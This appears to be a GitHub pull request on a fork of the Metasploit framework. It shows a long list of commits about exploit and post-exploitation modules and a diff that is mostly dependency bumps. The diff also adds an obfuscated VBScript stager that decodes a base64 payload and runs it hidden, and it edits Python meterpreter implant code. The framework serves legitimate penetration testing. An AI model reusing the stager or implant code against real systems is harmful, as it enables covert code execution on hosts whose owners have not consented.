Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Apply Powershell Import comments #18

Open
wants to merge 5,367 commits into
base: powershell_import
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from 207 commits
Commits
Show all changes
5367 commits
Select commit Hold shift + click to select a range
83abf4b
Add loot storage into the enum_service post module
Jul 2, 2014
9981a60
Add loot storage into the enum_service post module
Jul 2, 2014
c6675a2
Add verbosity to Jenkins Enum
mubix Jul 2, 2014
ac2e84b
check included
Jul 2, 2014
8f55af5
UPnP check included
Jul 2, 2014
e5b4413
removed wrong edit ...
Jul 2, 2014
ecba956
Land #3473 - skype post module to extract password hash
wchen-r7 Jul 2, 2014
90df0f1
Land #3489 - Add verbosity to Jenkins Enum
wchen-r7 Jul 2, 2014
a58ff81
Changed check method
firefart Jul 2, 2014
071f236
Changed check method
firefart Jul 2, 2014
5e02110
Merge to solve conflicts
jvazquez-r7 Jul 3, 2014
b15297e
Land #3490, @Meatballs1 tns listener verbose output
firefart Jul 3, 2014
d93bf55
Add a module_flavors method for all available flavors
zeroSteiner Jul 3, 2014
17da899
Merge @zeroSteiner's updates
jvazquez-r7 Jul 3, 2014
405de05
Add specs for module_flavors
jvazquez-r7 Jul 3, 2014
c041682
Land additional cmdstager specs from @jvazquez-r7
zeroSteiner Jul 3, 2014
51695c4
Land #2484, @zeroSteiner's refactoring for CmdStager
jvazquez-r7 Jul 3, 2014
aeb4fff
Added FileDropper
firefart Jul 3, 2014
86a31b1
Update gitlist_exec.rb
brandonprry Jul 3, 2014
b781b87
Avoid unnecessary "if not"
wchen-r7 Jul 3, 2014
1d828a9
string interpolation is preferred over concatenation
wchen-r7 Jul 3, 2014
ebeb988
Favor "unless" over "if" for negative conditions
wchen-r7 Jul 3, 2014
8a51305
Fix comments
wchen-r7 Jul 3, 2014
9aa3c75
Do something for the shut-everything-up event handling practice
wchen-r7 Jul 3, 2014
2c999d3
Better describe the problem
wchen-r7 Jul 3, 2014
dcba357
implement feedback
firefart Jul 3, 2014
bb54fec
Merge pull request #1 from wchen-r7/pr3488_fix
chrisukgit Jul 3, 2014
97a6b29
Use print_warning
jvazquez-r7 Jul 3, 2014
c207d14
Update description
wchen-r7 Jul 3, 2014
79c433e
Land #3480 - Oracle Event Processing FileUploadServlet Arbitrary File…
wchen-r7 Jul 3, 2014
f1b7a9f
Land #3488 - loot storage into the enum_services post module
wchen-r7 Jul 3, 2014
2efa3d6
Land #3487, @FireFart's exploit for WordPress MailPoet file upload
jvazquez-r7 Jul 3, 2014
9246f7a
Strip the NULL that PHP no longer strips
egypt Jul 3, 2014
6fb2fc8
address @jvasquez-r7 review points
brandonprry Jul 3, 2014
806f264
&& not and
brandonprry Jul 3, 2014
41cd552
Close the server socket in php bind stager
egypt Jul 3, 2014
a33a6dc
add bash to requiredcmd
brandonprry Jul 3, 2014
20cf25d
Land #3491, @jlee-r7's fix for php meterpreter on php 5.5.0
jvazquez-r7 Jul 3, 2014
aedd347
Land all the commits on #3491, @jlee-r7's patch for php meterpreter
jvazquez-r7 Jul 3, 2014
a471f29
Merge #3476 into #3481 for meterpreter smilies
Jul 4, 2014
5988132
Clean code
jvazquez-r7 Jul 4, 2014
98a82bd
Land #3486, @brandonprry's exploit for CVE-2014-4511 gitlist RCE
jvazquez-r7 Jul 4, 2014
6d9bf83
Small fixes for the recent WP MailPoet module
Jul 5, 2014
84a3b94
Land #3493, small fixes for WP MailPoet module
wvu Jul 5, 2014
cf5d29c
Add EOF newline to satisfy msftidy
wvu Jul 5, 2014
d5843f8
Updated Mailpoet exploit to work with another version
firefart Jul 6, 2014
5e7f356
Land #3494, @Firefart's update for Mailpoet's exploit
jvazquez-r7 Jul 6, 2014
f51feb7
Modify get_cookies regular expression
jvazquez-r7 Jul 6, 2014
e7ade9f
migrate from wget to echo mechanism
Jul 6, 2014
14b1ed5
Add spec for comma separated cookies
jvazquez-r7 Jul 6, 2014
ab7848a
Merge master for testing of #2809
Jul 7, 2014
d76081b
Prefer strip over chomp
Jul 7, 2014
3ef35f1
Prefer strip over chomp
Jul 7, 2014
6f433db
Minor typo fix
Jul 7, 2014
5961861
Merge #2809 into master
Jul 7, 2014
ddfd912
Fix up the TLVs that are now QWORD values in MSF
OJ Jul 7, 2014
8f39590
Framework is currently pegged to 0.17.0. Closes #3495
Jul 7, 2014
bdf27b1
Fix up the TLVs that are now QWORD values in MSF
OJ Jul 7, 2014
f8d738d
Fix QWORD usage, merges #3498
Jul 7, 2014
cd6b838
Add new Yokogawa SCADA exploit
jvazquez-r7 Jul 7, 2014
f1fcc23
Land #3499, Yokogawa's CVE-2014-3888 module
jvazquez-r7 Jul 7, 2014
9fef2ca
Description/whitespace changes (minor)
Jul 7, 2014
e5b5439
Merge pull request #3500 from todb-r7/fixup-release
cdoughty-r7 Jul 7, 2014
4eeab66
Land #3497, comma-separated get_cookies
wvu Jul 8, 2014
10bcef0
cleanup, deprecated
Jul 8, 2014
84d6d56
cleanup, deprecated
Jul 8, 2014
51001f9
Merge branch 'master' of git://github.com/rapid7/metasploit-framework…
Jul 8, 2014
579ce0a
cleanup
Jul 8, 2014
ac727da
dlink_dsp_w215_hnap_exploit
Jul 8, 2014
6fbd6bb
stager
Jul 8, 2014
f89f47c
dlink_dspw215_info_cgi_rop
Jul 8, 2014
c25c5f6
Make linux gather post modules compatible with meterpreter
jvazquez-r7 Jul 8, 2014
c19dedd
Delete debug messages
jvazquez-r7 Jul 8, 2014
a364172
Add meterpreter as session type
jvazquez-r7 Jul 8, 2014
b476505
Fix bugs
jvazquez-r7 Jul 8, 2014
73fdc06
Fix enum_xchat to work with meterpreter
jvazquez-r7 Jul 9, 2014
14b218d
Make hashdump compatible with meterpreter
jvazquez-r7 Jul 9, 2014
f4c6505
Test mount_cifs_creds on linux meterpreter
jvazquez-r7 Jul 9, 2014
42823fe
Test download_exec with linux meterpreter
jvazquez-r7 Jul 9, 2014
b4812c1
auto target included
Jul 9, 2014
0674314
auto target included
Jul 9, 2014
6a765ae
small cleanup
Jul 9, 2014
f068006
auto target
Jul 9, 2014
038d1e2
Merge upstream/master to deconflict.
Jul 9, 2014
2cd9577
Fix table printing.
scriptjunkie Jul 10, 2014
fad30bc
Add flash rosetta exploit module for stealing URLs.
joevennix Jul 10, 2014
841cb6a
STEAL_URL -> STEAL_URLS.
joevennix Jul 10, 2014
bcec2df
Fix Meterpreter PHP hop description
Jul 10, 2014
dd43906
Patch rhost to display hostname of JSONP_URL.
joevennix Jul 10, 2014
1cbcc71
Land #3509, Meterpreter PHP hop description fix
wvu Jul 10, 2014
bd05ad1
Merge pull request #52 from scriptjunkie/gpp_again
Meatballs1 Jul 10, 2014
5bb3c8a
Make merged module descriptions more grammar.
Jul 10, 2014
781149f
little auto detect fix
Jul 10, 2014
109201a
little auto detect fix
Jul 10, 2014
688c31c
Switch to a space. It gets eaten anyway.
Jul 10, 2014
74c1bfe
Land #3510, grammar fix for module descriptions
wvu Jul 10, 2014
e0389df
Update code as per @wvu's code review.
joevennix Jul 10, 2014
b8225ae
Remove unnecessary ||= and ivars.
joevennix Jul 10, 2014
dbe9b47
lands 3469, fixes handler deadlock in corner cases
kernelsmith Jul 10, 2014
0746320
Update meterpreter binaries
jvazquez-r7 Jul 10, 2014
36c6e74
Do minor fixes
jvazquez-r7 Jul 11, 2014
a9b92ee
Change module filename
jvazquez-r7 Jul 11, 2014
611b8a1
Modify title and ranking
jvazquez-r7 Jul 11, 2014
46f5282
Land #3455, @m-1-k-3's exploit for DLink UPNP M-Search Command Injection
jvazquez-r7 Jul 11, 2014
51cfa16
Fix deprecation information
jvazquez-r7 Jul 11, 2014
4ea2daa
Minor cleanup
jvazquez-r7 Jul 11, 2014
8f3197c
Land #3496, @m-1-k-3's switch to CmdStager on dlink_upnp_exec_noauth
jvazquez-r7 Jul 11, 2014
43f41de
Land #3508, CVE-2014-4671 Flash JSONP disclosure
wvu Jul 11, 2014
f7d60be
Do clean up
jvazquez-r7 Jul 11, 2014
f238c2a
change module filename
jvazquez-r7 Jul 11, 2014
dea68c6
Update title and description
jvazquez-r7 Jul 11, 2014
b9cda51
Add target info to message
jvazquez-r7 Jul 11, 2014
a7a700c
Land #3502, @m-1-k-3's DLink devices HNAP Buffer Overflow CVE-2014-3936
jvazquez-r7 Jul 11, 2014
c55117d
Some cleanup
jvazquez-r7 Jul 11, 2014
d637171
Change module filename
jvazquez-r7 Jul 11, 2014
6fd1ff6
Merge master
jvazquez-r7 Jul 11, 2014
a356a0e
Code cleanup
jvazquez-r7 Jul 11, 2014
6de2be6
Land #3503, @m-1-k-3's exploit for DLink info.cgi bof OSVDB-108249
jvazquez-r7 Jul 11, 2014
eb9d2f1
Change title
jvazquez-r7 Jul 11, 2014
ced16ac
Land #3511, new Linux Meterpreter bins
Jul 11, 2014
79603c9
Land #3505, a bunch o' Linux post module fixes
wvu Jul 11, 2014
8937fbb
Fix email format
jvazquez-r7 Jul 11, 2014
da67a63
Add report_note to scraper.rb
nodeofgithub Jul 11, 2014
b834e7d
Update scraper.rb
nodeofgithub Jul 11, 2014
8b302cd
Add report_note to scraper.rb
nodeofgithub Jul 11, 2014
b09fab1
Fix one flubbed author address
Jul 11, 2014
8670988
Land jvazquez-r7#17, @todb-r7's fix for one author address
jvazquez-r7 Jul 11, 2014
e5d7dae
Land #3513, Author name fixups from @jvazquez-r7
Jul 11, 2014
7a7d149
scraper report_note, change note type string
nodeofgithub Jul 11, 2014
ad46c37
scraper report_note, remove unnecessary to_s
nodeofgithub Jul 11, 2014
174429e
Test #3285
Jul 11, 2014
6ef69b4
scraper report_note, remove eol whitespace
nodeofgithub Jul 11, 2014
53d941d
Parens for readability
Jul 11, 2014
2c24cc5
Add .plugins to yardoc'able directories.
Jul 11, 2014
4abe856
Rescue http_header notes from getting truncated
nodeofgithub Jul 11, 2014
a8ec733
Interpolate all the things!
nodeofgithub Jul 11, 2014
7e9eb84
http_header report_note remove brackets, move rport
nodeofgithub Jul 11, 2014
5d833cb
http_header report_note remove to_s
nodeofgithub Jul 11, 2014
00bd540
Land #3512, counter for report_note
wvu Jul 11, 2014
2fd7bcf
Land #3514, report_note for scraper
wvu Jul 11, 2014
1b7008d
typo in name
Jul 13, 2014
31a615c
Land #3517, @m-1-k-3's typo fix
jvazquez-r7 Jul 13, 2014
68d6906
Merge pull request #1 from todb-r7/pr3285-wiki
Jul 14, 2014
bcbb0b4
dbvis connections gathering
philophobia78 Jul 14, 2014
0ef0f6a
Update dbvis_enum.rb
philophobia78 Jul 14, 2014
667b136
Delete dbvis_enum.rb
philophobia78 Jul 14, 2014
31c447e
Update binaries
jvazquez-r7 Jul 14, 2014
91ce942
Land #3285, wiki plugin by @kn0
Jul 14, 2014
96554a4
Remove this errant test::unit test
Jul 14, 2014
72d9587
DbVisualizer stores the user database configuration in dbvis.xml
philophobia78 Jul 14, 2014
6c595f2
Set up a proper peer method
Jul 14, 2014
a673971
Land #3521, errant unit test removal
wvu Jul 14, 2014
72c0c59
Land #3523, release fixes
wvu Jul 14, 2014
144c6ae
Added WPTouch fileupload exploit
firefart Jul 14, 2014
4904426
Fix @source and prefer &&
wvu Jul 14, 2014
8f51fd0
Retabbed and reformatted
wchen-r7 Jul 14, 2014
b5e5565
Change = to ==
wchen-r7 Jul 14, 2014
3b6947c
Use Rex to check IPv4 instead of using resolv
wchen-r7 Jul 14, 2014
20e5803
Author's Twitter handle should be a comment
wchen-r7 Jul 14, 2014
8fe3f1a
File should be checked for existence before reading
wchen-r7 Jul 14, 2014
0737deb
Remove the last exception handler
wchen-r7 Jul 14, 2014
cecdcef
+ not preferred
wchen-r7 Jul 14, 2014
bec32a0
For for missing an end
wchen-r7 Jul 14, 2014
89a8770
I mean "unless", not "if"
wchen-r7 Jul 14, 2014
5a821ce
Account for EOFError condition
wchen-r7 Jul 14, 2014
4d7bffd
Change header
wchen-r7 Jul 14, 2014
cc1ba26
Change module name for consistency
wchen-r7 Jul 14, 2014
de22aeb
Land #3481, meterpreter bins
egypt Jul 14, 2014
77be5d3
Land #3520 : Update Linux Meterpreter Binaries
OJ Jul 14, 2014
c1f612b
Use vprint_ instead of print_
firefart Jul 15, 2014
29bb788
Better login detection for wordpress
firefart Jul 15, 2014
e66cc00
Merge branch 'wchen-r7-pr3522'
philophobia78 Jul 15, 2014
a53341f
Added compatibility with dbvis <= 6
philophobia78 Jul 15, 2014
ac3d453
Update dbvis_enum.rb
philophobia78 Jul 15, 2014
f3d953f
Old config file update
philophobia78 Jul 15, 2014
400b0f4
parse url to report host in old config
philophobia78 Jul 15, 2014
97dcc56
Update dbvis_enum.rb
philophobia78 Jul 15, 2014
526538e
Added dbvis version find and print
philophobia78 Jul 15, 2014
de4133a
Update link for The Metasploit Development Environment
wchen-r7 Jul 15, 2014
1cac801
Land #3527 from @wchen-r7, doc update
Jul 15, 2014
09619ab
Catch AddressInUse when running commands from the meterpreter console
jvazquez-r7 Jul 15, 2014
1d6f088
Pass msftidy
wchen-r7 Jul 15, 2014
57b1023
Land #3522 - Multi Gather Dbvis Connections Settings
wchen-r7 Jul 15, 2014
73736c7
Add Rubocop to the Metasploit project
jhart-r7 Jul 15, 2014
4098979
Add spec
jvazquez-r7 Jul 15, 2014
875c024
create dbvis_add_db_admin.rb
philophobia78 Jul 15, 2014
604a612
Have into account differences between windows default installs
jvazquez-r7 Jul 15, 2014
b045e5b
Merge pull request #1 from wvu-r7/pr/3479
Jul 15, 2014
1a8d73f
Minor whitespace and grammar changes
zeroSteiner Jul 15, 2014
e58100f
Land #3419, multi script delivery module by @jakxx
zeroSteiner Jul 15, 2014
f8e47a5
Land #3524 - WPTouch fileupload exploit
wchen-r7 Jul 15, 2014
6d05a24
Add target information
jvazquez-r7 Jul 15, 2014
7f860a7
Add more sensible Rubocop defaults for line length. disable top-leve…
jhart-r7 Jul 15, 2014
ab73c16
Add Rubocop to msftidy. You now have 15 seconds to comply. You are i…
jhart-r7 Jul 16, 2014
fe72bac
fix crawler hpricot
Jul 16, 2014
b602fc8
Update dbvis_add_db_admin.rb
philophobia78 Jul 16, 2014
17b2169
Create dbvis_query.rb
philophobia78 Jul 16, 2014
b4aca68
Update dbvis_query.rb
philophobia78 Jul 16, 2014
9093211
Update dbvis_query.rb
philophobia78 Jul 16, 2014
81a9808
Rubocop checks are optional and info only
Jul 16, 2014
6898015
Just skip if info is suppressed.
Jul 16, 2014
c3b87e2
Update rigth on dbviscmd check
philophobia78 Jul 16, 2014
5f38ad5
Update dbvis_add_db_admin.rb
philophobia78 Jul 16, 2014
fa472c7
Merge pull request #2 from todb-r7/rubocop-is-optional
jhart-r7 Jul 16, 2014
31e38ce
Update dbvis_add_db_admin.rb
philophobia78 Jul 16, 2014
200c122
Update dbvis_query.rb
philophobia78 Jul 16, 2014
52bdc53
Update dbvis_query.rb
philophobia78 Jul 16, 2014
82abe49
Mark windows/misc/psh_web_delivery as deprecated
zeroSteiner Jul 16, 2014
5fa639c
Land #3528, add Rubocop from @jhart-r7
Jul 16, 2014
4fb5820
Land #3529 - Handle Rex::AddressInUse exception
wchen-r7 Jul 16, 2014
b95a5eb
Land #3535, Depreciate psh_web_delivery
Meatballs1 Jul 16, 2014
7583ed4
Merge remote-tracking branch 'upstream/master' into pr2075
Meatballs1 Jul 16, 2014
25f74b7
Land #3484, bad pack/unpack specifier fix
wvu Jul 16, 2014
b6ded98
Remove EOL whitespace
wvu Jul 16, 2014
ff6c8bd
Land #3479, broken sock.get fix
wvu Jul 16, 2014
0ef1f56
Land #3479, this time for real
wvu Jul 16, 2014
8733dcb
Land #3531 - Windows 2008 Update for HP AutoPass License
wchen-r7 Jul 16, 2014
58558e8
Allow INFO msftidy messages
Jul 16, 2014
8cabc75
Replace hpricot by nokogiri
Jul 16, 2014
767dfae
Update .ruby-version
Jul 16, 2014
115b78c
Update .ruby-version
Jul 16, 2014
a07656f
Land #3536, msftidy INFO messages aren't blockers
wvu Jul 16, 2014
4a25bb4
Update dbvis_add_db_admin.rb
philophobia78 Jul 17, 2014
1c8cac3
Added video link
philophobia78 Jul 17, 2014
8f9a1e4
Delete dbvis_query.rb
philophobia78 Jul 17, 2014
60c71b2
Update dbvis_add_db_admin.rb
philophobia78 Jul 17, 2014
0f92b73
Update dbvis_add_db_admin.rb
philophobia78 Jul 17, 2014
7e6e154
Fix null pointer dereference
jvazquez-r7 Jul 17, 2014
feee142
Updating Gemfile lock so Travis doesn't fail.
Jul 17, 2014
9fb18f1
Land #3541, adds hpricot to gemfile
kernelsmith Jul 17, 2014
6bdb320
Unignore .ruby-version
Jul 17, 2014
5d3b472
Merge PR#3541 to this branch to undo it.
Jul 17, 2014
2a66bd6
Unincluding hpricot
Jul 17, 2014
cd08acd
Merging my fix to #3537, nokogiri for msfcrawler
Jul 17, 2014
19477db
Land #3537 from @PagedeGeek, msfcrawler fix
Jul 17, 2014
d6ab418
Fix spaces
wchen-r7 Jul 17, 2014
aed8af3
Retabbed
wchen-r7 Jul 17, 2014
8e7361d
Fix indent again
wchen-r7 Jul 17, 2014
6d35867
Update module description
wchen-r7 Jul 17, 2014
c59d72b
Land #3530 - dbvis database administrator
wchen-r7 Jul 17, 2014
ad2e7c3
print header only if there are results...
jvazquez-r7 Jul 17, 2014
942112d
Land #3538, SAP fix from @jvazquez-r7
Jul 18, 2014
8fe5082
Merge Meatballs' gpp_again pull into new branch
scriptjunkie Jul 19, 2014
066a5e2
Land #3377, GPP gathering module fixes
scriptjunkie Jul 19, 2014
5ba96d6
Fix peer(rhost)->peer() usage in mediawiki_svg_fileaccess
Jul 19, 2014
d9f4a84
Land #3548, peer rhost fix
wvu Jul 19, 2014
b283438
Address @jhart-r7's comments
Meatballs1 Jul 20, 2014
474ee81
Merge remote-tracking branch 'upstream/master' into pr2075
Meatballs1 Jul 20, 2014
5f05336
Cheat/Rubycop all the things
Meatballs1 Jul 20, 2014
b0a596b
Update newer modules
Meatballs1 Jul 20, 2014
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 2 additions & 3 deletions Gemfile
Original file line number Diff line number Diff line change
Expand Up @@ -41,7 +41,7 @@ group :development, :test do
# 'FactoryGirl.' in factory definitions syntax.
gem 'factory_girl', '>= 4.1.0'
# running documentation generation tasks and rspec tasks
gem 'rake'
gem 'rake', '>= 10.0.0'
end

group :test do
Expand All @@ -51,11 +51,10 @@ group :test do
gem 'database_cleaner'
# testing framework
gem 'rspec', '>= 2.12'
# add matchers from shoulda, such as query_the_database, which is useful for
# testing that the Msf::DBManager activation is respected.
gem 'shoulda-matchers'
# code coverage for tests
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
# see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0)
gem 'simplecov', '0.5.4', :require => false
# Manipulate Time.now in specs
gem 'timecop'
Expand Down
62 changes: 29 additions & 33 deletions Gemfile.lock
Original file line number Diff line number Diff line change
@@ -1,62 +1,58 @@
GEM
remote: http://rubygems.org/
specs:
activemodel (3.2.13)
activesupport (= 3.2.13)
activemodel (3.2.14)
activesupport (= 3.2.14)
builder (~> 3.0.0)
activerecord (3.2.13)
activemodel (= 3.2.13)
activesupport (= 3.2.13)
activerecord (3.2.14)
activemodel (= 3.2.14)
activesupport (= 3.2.14)
arel (~> 3.0.2)
tzinfo (~> 0.3.29)
activesupport (3.2.13)
i18n (= 0.6.1)
activesupport (3.2.14)
i18n (~> 0.6, >= 0.6.4)
multi_json (~> 1.0)
arel (3.0.2)
bourne (1.4.0)
mocha (~> 0.13.2)
builder (3.0.4)
database_cleaner (0.9.1)
diff-lcs (1.2.2)
database_cleaner (1.1.1)
diff-lcs (1.2.4)
factory_girl (4.2.0)
activesupport (>= 3.0.0)
i18n (0.6.1)
json (1.7.7)
metaclass (0.0.1)
i18n (0.6.5)
json (1.8.0)
metasploit_data_models (0.16.6)
activerecord (>= 3.2.13)
activesupport
pg
mocha (0.13.3)
metaclass (~> 0.0.1)
msgpack (0.5.4)
mini_portile (0.5.1)
msgpack (0.5.5)
multi_json (1.0.4)
network_interface (0.0.1)
nokogiri (1.5.9)
nokogiri (1.6.0)
mini_portile (~> 0.5.0)
packetfu (1.1.8)
pcaprub (0.11.3)
pg (0.15.1)
rake (10.0.4)
redcarpet (2.2.2)
pg (0.16.0)
rake (10.1.0)
redcarpet (3.0.0)
robots (0.10.1)
rspec (2.13.0)
rspec-core (~> 2.13.0)
rspec-expectations (~> 2.13.0)
rspec-mocks (~> 2.13.0)
rspec-core (2.13.1)
rspec-expectations (2.13.0)
rspec (2.14.1)
rspec-core (~> 2.14.0)
rspec-expectations (~> 2.14.0)
rspec-mocks (~> 2.14.0)
rspec-core (2.14.5)
rspec-expectations (2.14.2)
diff-lcs (>= 1.1.3, < 2.0)
rspec-mocks (2.13.0)
shoulda-matchers (1.5.2)
rspec-mocks (2.14.3)
shoulda-matchers (2.3.0)
activesupport (>= 3.0.0)
bourne (~> 1.3)
simplecov (0.5.4)
multi_json (~> 1.0.3)
simplecov-html (~> 0.5.3)
simplecov-html (0.5.3)
timecop (0.6.1)
timecop (0.6.3)
tzinfo (0.3.37)
yard (0.8.5.2)
yard (0.8.7)

PLATFORMS
ruby
Expand All @@ -74,7 +70,7 @@ DEPENDENCIES
packetfu (= 1.1.8)
pcaprub
pg (>= 0.11)
rake
rake (>= 10.0.0)
redcarpet
robots
rspec (>= 2.12)
Expand Down
4 changes: 2 additions & 2 deletions HACKING
Original file line number Diff line number Diff line change
Expand Up @@ -9,8 +9,8 @@ Code Style
In order to maintain consistency and readability, we ask that you
adhere to the following style guidelines:

- Hard tabs, not spaces
- Try to keep your lines under 100 columns (assuming four-space tabs)
- Standard Ruby two-space soft tabs, not hard tabs.
- Try to keep your lines under 100 columns (assuming two-space tabs)
- do; end instead of {} for a block
- Always use str[0,1] instead of str[0]
(This avoids a known ruby 1.8/1.9 incompatibility.)
Expand Down
49 changes: 49 additions & 0 deletions data/exploits/cmdstager/vbs_b64_noquot
Original file line number Diff line number Diff line change
@@ -0,0 +1,49 @@
echo Dim encodedFile, decodedFile, scriptingFS, scriptShell, emptyString, tempString, Base64Chars, tempDir >>decode_stub
echo encodedFile = Chr(92)+CHRENCFILE >>decode_stub
echo decodedFile = Chr(92)+CHRDECFILE >>decode_stub
echo scriptingFS = Chr(83)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(105)+Chr(110)+Chr(103)+Chr(46)+Chr(70)+Chr(105)+Chr(108)+Chr(101)+Chr(83)+Chr(121)+Chr(115)+Chr(116)+Chr(101)+Chr(109)+Chr(79)+Chr(98)+Chr(106)+Chr(101)+Chr(99)+Chr(116) >>decode_stub
echo scriptShell = Chr(87)+Chr(115)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(83)+Chr(104)+Chr(101)+Chr(108)+Chr(108) >>decode_stub
echo emptyString = Chr(84)+Chr(104)+Chr(101)+Chr(32)+Chr(102)+Chr(105)+Chr(108)+Chr(101)+Chr(32)+Chr(105)+Chr(115)+Chr(32)+Chr(101)+Chr(109)+Chr(112)+Chr(116)+Chr(121)+Chr(46)>>decode_stub
echo tempString = Chr(37)+Chr(84)+Chr(69)+Chr(77)+Chr(80)+Chr(37) >>decode_stub
echo Base64Chars = Chr(65)+Chr(66)+Chr(67)+Chr(68)+Chr(69)+Chr(70)+Chr(71)+Chr(72)+Chr(73)+Chr(74)+Chr(75)+Chr(76)+Chr(77)+Chr(78)+Chr(79)+Chr(80)+Chr(81)+Chr(82)+Chr(83)+Chr(84)+Chr(85)+Chr(86)+Chr(87)+Chr(88)+Chr(89)+Chr(90)+Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+Chr(103)+Chr(104)+Chr(105)+Chr(106)+Chr(107)+Chr(108)+Chr(109)+Chr(110)+Chr(111)+Chr(112)+Chr(113)+Chr(114)+Chr(115)+Chr(116)+Chr(117)+Chr(118)+Chr(119)+Chr(120)+Chr(121)+Chr(122)+Chr(48)+Chr(49)+Chr(50)+Chr(51)+Chr(52)+Chr(53)+Chr(54)+Chr(55)+Chr(56)+Chr(57)+Chr(43)+Chr(47) >>decode_stub
echo Set wshShell = CreateObject(scriptShell) >>decode_stub
echo tempDir = wshShell.ExpandEnvironmentStrings(tempString) >>decode_stub
echo Set fs = CreateObject(scriptingFS) >>decode_stub
echo Set file = fs.GetFile(tempDir+encodedFile) >>decode_stub
echo If file.Size Then >>decode_stub
echo Set fd = fs.OpenTextFile(tempDir+encodedFile, 1) >>decode_stub
echo data = fd.ReadAll >>decode_stub
echo data = Replace(data, Chr(32)+vbCrLf, nil) >>decode_stub
echo data = Replace(data, vbCrLf, nil) >>decode_stub
echo data = base64_decode(data) >>decode_stub
echo fd.Close >>decode_stub
echo Set ofs = CreateObject(scriptingFS).OpenTextFile(tempDir+decodedFile, 2, True) >>decode_stub
echo ofs.Write data >>decode_stub
echo ofs.close >>decode_stub
echo wshShell.run tempDir+decodedFile, 0, false >>decode_stub
echo Else >>decode_stub
echo Wscript.Echo emptyString >>decode_stub
echo End If >>decode_stub
echo Function base64_decode(byVal strIn) >>decode_stub
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
echo If Not w2 Then _ >>decode_stub
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
echo If Not w3 Then _ >>decode_stub
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
echo If Not w4 Then _ >>decode_stub
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
echo Next >>decode_stub
echo base64_decode = strOut >>decode_stub
echo End Function >>decode_stub
echo Function mimedecode(byVal strIn) >>decode_stub
echo If Len(strIn) = 0 Then >>decode_stub
echo mimedecode = -1 : Exit Function >>decode_stub
echo Else >>decode_stub
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
echo End If >>decode_stub
echo End Function >>decode_stub
Binary file modified data/meterpreter/elevator.dll
Binary file not shown.
Binary file modified data/meterpreter/elevator.x64.dll
Binary file not shown.
Binary file modified data/meterpreter/ext_server_espia.dll
Binary file not shown.
Binary file modified data/meterpreter/ext_server_espia.x64.dll
Binary file not shown.
Binary file modified data/meterpreter/ext_server_incognito.dll
Binary file not shown.
Binary file modified data/meterpreter/ext_server_incognito.x64.dll
Binary file not shown.
Binary file modified data/meterpreter/ext_server_lanattacks.dll
Binary file not shown.
Binary file modified data/meterpreter/ext_server_lanattacks.x64.dll
Binary file not shown.
Binary file modified data/meterpreter/ext_server_mimikatz.dll
Binary file not shown.
Binary file modified data/meterpreter/ext_server_mimikatz.x64.dll
Binary file not shown.
Binary file modified data/meterpreter/ext_server_priv.dll
Binary file not shown.
Binary file modified data/meterpreter/ext_server_priv.x64.dll
Binary file not shown.
Binary file modified data/meterpreter/ext_server_sniffer.dll
Binary file not shown.
Binary file modified data/meterpreter/ext_server_sniffer.x64.dll
Binary file not shown.
Binary file modified data/meterpreter/ext_server_stdapi.dll
Binary file not shown.
26 changes: 17 additions & 9 deletions data/meterpreter/ext_server_stdapi.py
Original file line number Diff line number Diff line change
Expand Up @@ -580,20 +580,28 @@ def stdapi_fs_delete_file(request, response):
@meterpreter.register_function
def stdapi_fs_file_expand_path(request, response):
path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
if path_tlv == '%COMSPEC%':
if platform.system() == 'Windows':
result = 'cmd.exe'
else:
result = '/bin/sh'
elif path_tlv in ['%TEMP%', '%TMP%'] and platform.system() != 'Windows':
if has_windll:
path_out = (ctypes.c_char * 4096)()
path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(path_tlv, ctypes.byref(path_out), ctypes.sizeof(path_out))
result = ''.join(path_out)[:path_out_len]
elif path_tlv == '%COMSPEC%':
result = '/bin/sh'
elif path_tlv in ['%TEMP%', '%TMP%']:
result = '/tmp'
else:
result = os.getenv(path_tlv)
result = os.getenv(path_tlv, path_tlv)
if not result:
return ERROR_FAILURE, response
response += tlv_pack(TLV_TYPE_FILE_PATH, result)
return ERROR_SUCCESS, response

@meterpreter.register_function
def stdapi_fs_file_move(request, response):
oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
os.rename(oldname, newname)
return ERROR_SUCCESS, response

@meterpreter.register_function
def stdapi_fs_getwd(request, response):
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
Expand Down Expand Up @@ -622,7 +630,7 @@ def stdapi_fs_md5(request, response):
m = hashlib.md5()
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
m.update(open(path, 'rb').read())
response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest())
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
return ERROR_SUCCESS, response

@meterpreter.register_function
Expand Down Expand Up @@ -669,7 +677,7 @@ def stdapi_fs_sha1(request, response):
m = hashlib.sha1()
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
m.update(open(path, 'rb').read())
